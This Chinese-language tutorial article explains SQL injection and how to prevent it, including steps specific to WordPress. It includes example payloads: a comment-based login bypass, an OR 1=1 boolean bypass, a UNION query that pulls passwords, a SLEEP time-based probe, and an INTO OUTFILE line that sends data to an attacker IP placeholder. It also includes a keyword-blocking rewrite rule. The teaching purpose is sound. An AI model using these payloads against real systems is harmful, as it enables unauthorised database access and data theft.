SQL(结构化查询语言)是一种允许我们与数据库交互的语言。现代Web应用程序使用数据库来管理数据并向读者显示动态内容。
SQL注入或SQLi是一种对Web应用程序的攻击,通过恶意SQL语句破坏其数据库。
由于这是一种常见的攻击,让我们尝试更多地了解它是什么,它是如何发生的,以及如何保护自己免受它的侵害。
什么是SQL注入?
SQL注入或SQLi是对Web应用程序的一种攻击,它使攻击者能够将恶意SQL语句插入到Web应用程序中,从而可能获得对数据库中敏感数据的访问权或破坏这些数据。SQL注入首先由Jeff Forristal于1998年发现。
自发现以来的二十年里,SQL 注入一直是Web开发人员在设计应用程序时的重中之重。
Barclaycard在2012年估计,97%的数据泄露是由SQL注入攻击引发的。即使在今天,SQL注入也很普遍,并且Web应用程序中注入攻击的严重性已得到广泛认可。它是OWASP十大最关键的 Web 应用程序安全风险之一。
SQL注入漏洞是如何工作的?
SQL注入漏洞使攻击者可以通过使用恶意SQL语句完全访问您的应用程序的数据库。
在本节中,我们将分享一个易受攻击的应用程序的示例。
想象一下典型Web应用程序的工作流程,其中涉及通过用户输入的数据库请求。您通过表单获取用户输入,例如登录表单。然后,您使用用户提交的字段查询您的数据库以对其进行身份验证。对数据库的查询结构如下所示:
select * from user_table where username = 'sdaityari' and password = 'mypassword';
为简单起见,假设您将密码存储为明文。但是,对salt your passwords然后对其进行散列处理是一种很好的做法。继续前进,如果您从表单中收到用户名和密码,您可以在PHP中定义查询,如下所示:
// Connect to SQL database $db_query = "select * from user_table where username = '".$user."' AND password = '".$password."';"; // Execute query
如果有人在用户名字段中输入值“admin’;–”,则变量 $db_query 生成的SQL查询将如下所示:
select * from user_table where username = 'admin';--' and password = 'mypassword'
这个查询有什么作用?
SQL中的注释以双破折号 (–) 开头。结果查询仅按用户名过滤,不考虑密码。如果没有适当的安全措施来避免这种情况,您只需使用此技巧即可获得对Web应用程序的管理访问权限。
或者,在此示例中也可以使用布尔攻击来获取访问权限。如果攻击者在密码字段中输入“password”或 1=1;–”,则查询结果如下:
select * from user_table where username = 'admin' and password = 'password' or 1=1;--';
在这种情况下,即使您的密码错误,您也将通过身份验证进入应用程序。如果您的网页显示数据库查询的结果,攻击者可以使用命令show tables,命令显示数据库中的表,然后根据需要选择性地删除表。
SQL注入漫画(图片来源:XKCD)
XKCD的流行漫画《妈妈的剥削》展示了一位母亲与她儿子所在学校的对话,她被问到她是否真的给儿子取名为“罗伯特”);放表学生;——”。
SQL注入的类型
现在您已经了解了SQL注入漏洞的基础知识,让我们来探索各种类型的SQL注入攻击以及每种攻击背后的原因。
带内SQL注入
带内SQL注入(In-Band SQL Injection)是最简单的SQL注入形式。在这个过程中,攻击者能够使用同一通道将恶意SQL代码插入应用程序并收集结果。我们将讨论两种形式的带内SQL注入攻击:
基于错误的攻击
攻击者在攻击的初始阶段使用基于错误的SQL注入技术。基于错误的SQL注入背后的想法是获取有关Web应用程序遵循的数据库结构和表名的更多信息。例如,错误消息可能包含查询中包含的表名和表的列名。然后可以使用此数据来创建新的攻击。
基于联合的攻击
在这种方法中,攻击者使用SQL联合连接来显示来自不同表的结果。例如,如果攻击者在搜索页面上,他们可能会附加来自另一个表的结果。
select title, link from post_table where id < 10 union select username, password from user_table; --;
推理SQL注入(SQL盲注)
即使攻击者在SQL查询中产生错误,查询的响应也可能不会直接传输到网页。在这种情况下,攻击者需要进一步探测。
在这种形式的SQL注入中,攻击者向数据库发送各种查询,以评估应用程序如何分析这些响应。推理SQL注入有时也称为盲SQL注入(Blind SQL Injection)。我们将在下面查看两种推理SQL注入:布尔SQL注入和基于时间的SQL注入。
布尔攻击
如果SQL查询导致应用程序内部未处理的错误,则生成的网页可能会引发错误、加载空白页面或部分加载。在布尔SQL注入中,攻击者通过输入尝试两个不同版本的布尔子句来评估用户输入的哪些部分易受SQL注入攻击:
- “… and 1=1”
- “… and 1=2”
如果应用程序在第一种情况下正常工作,但在第二种情况下显示异常,则表明该应用程序容易受到SQL注入攻击。
基于时间的攻击
基于时间的SQL注入攻击还可以帮助攻击者确定Web应用程序中是否存在漏洞。攻击者利用应用程序使用的数据库管理系统的预定义的基于时间的功能。例如,在MySQL中,函数sleep()指示数据库等待一定的秒数。
select * from comments WHERE post_id=1-SLEEP(15);
如果这样的查询导致延迟,攻击者就会知道它是易受攻击的。
带外SQL注入
如果攻击者无法通过同一渠道收集SQL注入的结果。带外SQL注入(Out-of-Band SQL Injection)技术可以用作推SQL注入技术的替代方法。
通常,这些技术涉及将数据从数据库发送到攻击者选择的恶意位置。这个过程也高度依赖于数据库管理系统的能力。
带外SQL注入攻击使用DBMS的外部文件处理能力。在MySQL中,可以使用LOAD_FILE()和INTO OUTFILE函数来请求MySQL将数据传输到外部源。以下是攻击者如何使用OUTFILE将查询结果发送到外部源:
select * from post_table into OUTFILE '\\\\MALICIOUS_IP_ADDRESS\location'
同样,可以使用LOAD_FILE()函数从服务器读取文件并显示其内容。LOAD_FILE()和OUTFILE的组合可用于读取服务器上文件的内容,然后将其传输到不同的位置。
如何防止SQL注入
到目前为止,我们已经探索了Web应用程序中可能导致SQL注入攻击的漏洞。攻击者可以使用SQL注入漏洞来读取、修改甚至删除数据库的内容。
此外,它还可以使人们能够读取服务器内任何位置的文件并将内容传输到其他地方。在本节中,我们将探索各种技术来保护您的Web应用程序和网站免受SQL注入攻击。
转义用户输入
一般来说,判断用户字符串是否恶意是一项艰巨的任务。因此,最好的方法是在用户输入中转义特殊字符。
此过程使您免受SQL注入攻击。您可以在PHP中使用mysql_escape_string() function
. 您还可以使用该mysqli_real_escape_string()
函数在MySQL中转义字符串。
在将输出显示为HTML时,您还需要转换字符串以确保特殊字符不会干扰HTML标记。您可以使用函数转换PHP中的特殊字符htmlspecialchars()
。
使用准备好的语句
或者,您可以使用准备好的语句来避免SQL注入。准备好的语句是SQL查询的模板,您可以在稍后阶段指定参数来执行它。这是PHP和MySQLi中的准备语句示例。
$query = $mysql_connection->prepare("select * from user_table where username = ? and password = ?"); $query->execute(array($username, $password));
防止SQL攻击的其他安全检查
减轻此漏洞的下一步是将对数据库的访问限制在必要的范围内。
例如,使用特定用户将您的Web应用程序连接到DBMS,该用户只能访问相关数据库。
限制数据库用户对服务器所有其他位置的访问。您可能还希望通过Web服务器阻止URL中的某些SQL关键字。如果您将Apache用作Web服务器,则可以在.htaccess文件中使用以下代码行向潜在的攻击者显示403 Forbidden错误。
在使用此技术之前您应该小心,因为如果URL包含这些关键字,Apache将向读者显示错误。
RewriteCond %{QUERY_STRING} [^a-z](declare¦char¦set¦cast¦convert¦delete¦drop¦exec¦insert¦meta¦script¦select¦truncate¦update)[^a-z] [NC] RewriteRule (.*) - [F]
作为额外的预防提示,您应该始终使用更新的软件。发布新版本或补丁时,更新中修复的错误会在发布说明中详细说明。一旦漏洞的详细信息公之于众,运行任何软件的旧版本都可能存在风险。
WordPress中的SQL注入
如果您使用的是最新的WordPress核心文件,则可以避免任何SQL注入漏洞。但是,当您使用第三方主题和插件时,您的整个应用程序都会面临风险。
您的WordPress网站的强大程度取决于其最薄弱的链接。在本节中,我们将探讨缓解WordPress中的SQL注入漏洞的关键注意事项,以及如何在现有WordPress站点上执行漏洞检查。
WordPress的SQL注入漏洞预防
为了减轻WordPress主题或插件中的SQL注入漏洞,您必须遵循的一条规则是在与数据库交互时始终使用现有的WordPress函数。
这些函数在WordPress开发过程中针对SQL注入漏洞进行了全面测试。例如,如果您想在帖子中添加评论,请使用wp_insert_comment() 函数,而不是将数据直接插入到wp_comments表中。
虽然函数是可扩展的,但您有时可能需要运行复杂的查询。在这种情况下,请确保使用$wp_db 函数组。您可以在创建查询之前使用 $wpdb->prepare() 转义用户输入。
此外,这里是在WordPress中清理数据的函数列表。这些可以帮助您转义特定类型的用户输入,例如电子邮件和URL。
保护您的WordPress网站
虽然WordPress本身是安全的,但过时的核心软件和无效插件等问题可能会导致漏洞。虽然除了彻底检查WordPress网站是否存在SQL注入漏洞之外别无选择,但网站的复杂性可能使这项任务具有挑战性。
您可以使用在线扫描工具,例如ThreatPass和WPScan Vulnerability Database。您可以审核您的插件以查看它们的开发是否已停止。如果它们不久前被放弃,那么在您的网站上使用它们可能不是一个好主意。
如果您仍然需要绝对使用它们,请确保彻底测试它们的代码和功能是否存在漏洞。除此之外,请确保您遵循以下安全检查:
- 更新PHP、WordPress核心和MySQL
- 更新第三方插件和主题
- 避免使用root用户连接SQL数据库
- 限制SQL用户对敏感目录的访问
- 使用您的服务器阻止SQL关键字
- 将您的站点备份保存在异地,以防发生不可逆转的损坏
这是有关WordPress安全性的详细文章和详尽的检查列表。此外,您可能希望为WordPress投资这些顶级安全插件。尽管您尽了最大努力,但如果您的WordPress网站被黑客入侵,您应该采取以下措施。
SQL注入是非法的吗?
绝对,是的!即使存在实际漏洞,攻击者仍在尝试访问他们无法访问的数据。
想象一下有人把钥匙留在车里的场景。仅仅因为它被打开和无人看管就构成犯罪吗?SQLi的行为受不同国家/地区的不同法律管辖。它属于美国的《计算机欺诈和滥用法》(1986 年)和英国的《计算机滥用法》(1990 年)。
97%的数据泄露始于SQL注入。如果您正在运行一个站点,您应该知道什么是SQL注入以及如何防止它们发生。幸运的是,有这个指南!
小结
SQL注入漏洞很久以前就被发现了。然而,一份2018年关于被黑网站的报告表明,SQLi是WordPress在XSS攻击之后最常见的网站黑客行为。为防止它们发生,您应该:
- 了解SQL注入漏洞的工作原理
- 探索攻击者可能使用SQLi未经授权访问您的Web应用程序的各种方式
- 实施保护您的网站免受SQLi攻击的方法,例如转义用户输入和使用准备好的语句
- 遵循安全检查程序
俗话说,“宁可安全,也不要后悔!”
评论留言